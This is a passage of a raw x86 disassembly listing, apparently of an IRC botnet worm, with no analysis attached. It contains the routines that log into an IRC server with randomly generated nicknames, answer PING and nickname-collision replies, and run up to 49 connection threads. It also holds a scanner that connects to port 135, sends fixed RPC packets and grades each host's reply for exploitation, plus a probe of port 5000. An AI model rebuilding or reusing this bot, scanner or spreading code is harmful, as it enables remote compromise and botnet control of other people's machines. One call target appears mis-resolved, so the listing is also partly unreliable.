		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_417B0A
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_417B25
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417B0A:				; CODE XREF: sub_417AA9+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_417B29
		push	edi
		call	dword_4CBA6C


loc_417B25:				; CODE XREF: sub_417AA9+1Bj
					; sub_417AA9+58j
		mov	eax, esi
		jmp	short loc_417B2B
; ---------------------------------------------------------------------------


loc_417B29:				; CODE XREF: sub_417AA9+73j
		mov	eax, edi


loc_417B2B:				; CODE XREF: sub_417AA9+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417AA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B2F	proc near		; CODE XREF: sub_401ACD+324Cp
					; sub_401ACD+32B6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41C8A0
		pop	ecx
		mov	esi, offset dword_4D4A5C
		pop	ecx


loc_417B47:				; CODE XREF: sub_417B2F+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_417B65
		cmp	dword ptr [esi], 0
		jbe	short loc_417B65
		push	0
		push	edi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CBA24


loc_417B65:				; CODE XREF: sub_417B2F+1Cj
					; sub_417B2F+21j
		add	esi, 210h
		cmp	esi, offset dword_4DB17C
		jl	short loc_417B47
		pop	edi
		pop	esi
		retn
sub_417B2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B76	proc near		; CODE XREF: sub_417C61+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CDC0 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41CAD4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_417B9B:				; CODE XREF: sub_417B76+35j
		push	esi
		push	0
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_417B9B
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_417BC3
		cmp	esi, edi
		jnz	short loc_417BC3
		push	1
		pop	eax
		jmp	loc_417C5C
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417B76+3Fj
					; sub_417B76+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417BDE
		push	offset dword_43932C
		jmp	short loc_417C2C
; ---------------------------------------------------------------------------


loc_417BDE:				; CODE XREF: sub_417B76+5Fj
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417BFF
		push	esi
		push	offset dword_439328
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A


loc_417BFF:				; CODE XREF: sub_417B76+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417E84
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43931C


loc_417C2C:				; CODE XREF: sub_417B76+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_417C5A:				; CODE XREF: sub_417B76+87j
		xor	eax, eax


loc_417C5C:				; CODE XREF: sub_417B76+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C61	proc near		; DATA XREF: sub_417E06+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4A64[esi]
		mov	dword_4D4A58[esi], edi
		push	dword_4D4C64[esi]
		push	eax
		call	sub_417AA9
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D4A5C[esi], eax
		jb	loc_417DE6
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417E84
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417E84
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CBA24
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch


loc_417D3D:				; CODE XREF: sub_417C61+111j
					; sub_417C61+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D4A5C[esi]
		call	dword_4CB9EC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417DE6
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417D3D


loc_417D74:				; CODE XREF: sub_417C61+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_417D9B
		cmp	al, 0Ah
		jz	short loc_417D9B
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_417D9B
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417DD5
; ---------------------------------------------------------------------------


loc_417D9B:				; CODE XREF: sub_417C61+11Cj
					; sub_417C61+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417DD5
		push	dword_4D4A5C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417B76
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417DE6
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417DD5:				; CODE XREF: sub_417C61+138j
					; sub_417C61+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_417D74
		jmp	loc_417D3D
; ---------------------------------------------------------------------------


loc_417DE6:				; CODE XREF: sub_417C61+40j
					; sub_417C61+107j ...
		mov	dword_4D4A58[esi], ebx
		mov	esi, dword_4D4A5C[esi]
		cmp	esi, ebx
		jbe	short loc_417DFD
		push	esi
		call	dword_4CBA6C


loc_417DFD:				; CODE XREF: sub_417C61+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_417C61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E06	proc near		; CODE XREF: sub_401ACD+319Bp

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417E7F


loc_417E18:				; CODE XREF: sub_417E06+77j
		xor	edi, edi
		mov	eax, offset dword_4D4A58


loc_417E1F:				; CODE XREF: sub_417E06+28j
		cmp	[eax], ebx
		jz	short loc_417E30
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DB178
		jl	short loc_417E1F


loc_417E30:				; CODE XREF: sub_417E06+1Bj
		cmp	edi, 31h
		jz	short loc_417E7F
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4A64[esi]
		push	eax
		call	sub_41C890
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4C64[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4A58[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_417C61
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417E18


loc_417E7F:				; CODE XREF: sub_417E06+10j
					; sub_417E06+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E84	proc near		; CODE XREF: sub_401ACD+36FDp
					; sub_401ACD+3747p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		call	sub_41C2C2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276D8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_417ECE
		call	sub_41C2C2
		call	sub_41C2C2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_438A68[edx*4]
		jmp	short loc_417EE7
; ---------------------------------------------------------------------------


loc_417ECE:				; CODE XREF: sub_417E84+2Fj
		call	sub_41C2C2
		call	sub_41C2C2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_438768[edx*4]


loc_417EE7:				; CODE XREF: sub_417E84+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C890
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41D174
		mov	ebx, eax
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417F5A
		cmp	esi, 3
		jnz	short loc_417F51
		cmp	ebx, 1
		jz	short loc_417F5A


loc_417F51:				; CODE XREF: sub_417E84+C6j
		cmp	eax, 1
		jnz	loc_418014


loc_417F5A:				; CODE XREF: sub_417E84+C1j
					; sub_417E84+CBj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41D174
		push	off_438A68[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41C890
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41C990
		add	esp, 10h
		test	eax, eax
		jnz	short loc_418001
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418001
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_418001
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_418001:				; CODE XREF: sub_417E84+111j
					; sub_417E84+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41CBC0
		add	esp, 0Ch


loc_418014:				; CODE XREF: sub_417E84+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B9C0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41DEE8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41827C
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41C990
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_418173
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418082
		cmp	eax, 1
		jnz	loc_418173


loc_418082:				; CODE XREF: sub_417E84+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_4180C4
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_4180E0
; ---------------------------------------------------------------------------


loc_4180C4:				; CODE XREF: sub_417E84+207j
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_4180E0:				; CODE XREF: sub_417E84+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41D174
		cmp	esi, 3
		jz	short loc_418109
		cmp	eax, ebx
		jnz	short loc_418173


loc_418109:				; CODE XREF: sub_417E84+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_41814E
		push	edi
		call	sub_41B9C0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276C8
		call	sub_41D174
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_41816C
; ---------------------------------------------------------------------------


loc_41814E:				; CODE XREF: sub_417E84+28Fj
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_41816C:				; CODE XREF: sub_417E84+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_418173:				; CODE XREF: sub_417E84+1C9j
					; sub_417E84+1F8j ...
		cmp	esi, 6
		jge	loc_4181FC
		cmp	esi, 5
		jge	short loc_418194
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		jmp	short loc_4181B2
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_417E84+2FBj
		call	sub_41C2C2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276C8


loc_4181B2:				; CODE XREF: sub_417E84+30Ej
		call	sub_41D174
		test	eax, eax
		jnz	short loc_4181D5
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181D5:				; CODE XREF: sub_417E84+335j
		cmp	eax, 1
		jnz	short loc_4181FC
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41D174
		mov	cl, 41h


loc_4181F2:				; CODE XREF: sub_417E84+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_4181FC:				; CODE XREF: sub_417E84+2F2j
					; sub_417E84+354j
		cmp	[ebp+var_C], 2
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276C8
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A8
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276A0
		call	sub_41D174
		cmp	eax, 1
		jnz	short loc_41827C
		cmp	[ebp+var_C], eax
		jge	short loc_41827C
		call	sub_41C2C2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_427698
		call	sub_41D174
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_41827C:				; CODE XREF: sub_417E84+1B1j
					; sub_417E84+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418295	proc near		; CODE XREF: sub_4182CD+125p
					; sub_4182CD+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_4182C3


loc_4182A6:				; CODE XREF: sub_418295+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DF40
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4182C9
		inc	esi
		cmp	esi, edi
		jl	short loc_4182A6


loc_4182C3:				; CODE XREF: sub_418295+Fj
		xor	al, al


loc_4182C5:				; CODE XREF: sub_418295+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418295+27j
		mov	al, 1
		jmp	short loc_4182C5
sub_418295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CD	proc near		; CODE XREF: ___:0040DFD7p
					; ___:0040E0C0p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C500
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41830E
		dec	eax
		jz	short loc_4182EC
		dec	eax


loc_4182E6:				; CODE XREF: sub_4182CD+57j
		xor	eax, eax


loc_4182E8:				; CODE XREF: sub_4182CD+3Fj
					; sub_4182CD+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_4182CD+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4CBA14
		push	eax
		call	sub_40C34B
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4182E8
; ---------------------------------------------------------------------------


loc_41830E:				; CODE XREF: sub_4182CD+13j
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4182E6
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, edi
		jz	loc_41842A
		push	ebx
		push	48h
		push	offset dword_439374
		push	esi
		call	dword_4CBA24
		cmp	eax, edi
		jz	loc_41842A
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		cmp	eax, edi
		jz	loc_41842A
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_41842A
		push	ebx
		push	18h
		push	offset dword_4393C0
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	eax, edi
		jz	short loc_41842A
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB9EC
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41842A
		cmp	[ebp+var_200E],	2
		jnz	short loc_41842A
		push	10h
		push	offset loc_4393DC
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		test	al, al
		jz	short loc_41840A
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_41842A
; ---------------------------------------------------------------------------


loc_41840A:				; CODE XREF: sub_4182CD+12Fj
		push	10h
		push	offset dword_4393F0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_418295
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_41842A:				; CODE XREF: sub_4182CD+9Bj
					; sub_4182CD+B2j ...
		push	[ebp+arg_4]
		call	dword_4CBA6C
		mov	eax, ebx
		pop	ebx
		jmp	loc_4182E8
sub_4182CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41843B	proc near		; CODE XREF: sub_401ACD+BD0p
					; sub_401ACD+C0Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_4184C6
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_4184C6
		cmp	[ebp+arg_8], esi
		jz	short loc_4184C6
		cmp	byte ptr [eax],	0
		jz	short loc_4184C6
		push	ebx
		push	edi
		call	sub_426465
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_4184C1
		push	[ebp+arg_4]
		push	edi
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4184BA
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BFD0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B9C0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41CBC0
		push	[ebp+arg_4]
		call	sub_41B9C0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C8A0
		push	ebx
		push	edi
		call	sub_41C890
		add	esp, 30h
		mov	esi, edi


loc_4184BA:				; CODE XREF: sub_41843B+3Cj
		push	ebx
		call	sub_41BA91
		pop	ecx


loc_4184C1:				; CODE XREF: sub_41843B+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_4184C8
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_41843B+Cj
					; sub_41843B+13j ...
		xor	eax, eax


loc_4184C8:				; CODE XREF: sub_41843B+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41843B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184CC	proc near		; CODE XREF: sub_401955+E9p
					; ___:00410CF1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BF70
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B9C0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418502
		or	eax, 0FFFFFFFFh
		jmp	short loc_418575
; ---------------------------------------------------------------------------


loc_418502:				; CODE XREF: sub_4184CC+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418524


loc_41850E:				; CODE XREF: sub_4184CC+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41851B
		cmp	dl, 0Dh
		jnz	short loc_41851F


loc_41851B:				; CODE XREF: sub_4184CC+48j
		and	byte ptr [ecx+esi], 0


loc_41851F:				; CODE XREF: sub_4184CC+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41850E


loc_418524:				; CODE XREF: sub_4184CC+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418555
		lea	edi, [ebp+var_7CC]


loc_418531:				; CODE XREF: sub_4184CC+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418550
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418550
		cmp	ebx, 1F4h
		jge	short loc_418555
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418550:				; CODE XREF: sub_4184CC+69j
					; sub_4184CC+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418531


loc_418555:				; CODE XREF: sub_4184CC+5Dj
					; sub_4184CC+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418573
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CD20
		add	esp, 0Ch


loc_418573:				; CODE XREF: sub_4184CC+8Ej
		mov	eax, ebx


loc_418575:				; CODE XREF: sub_4184CC+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_4184CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_418579	proc near		; CODE XREF: sub_4185D3+33p

arg_0		= dword	ptr  4
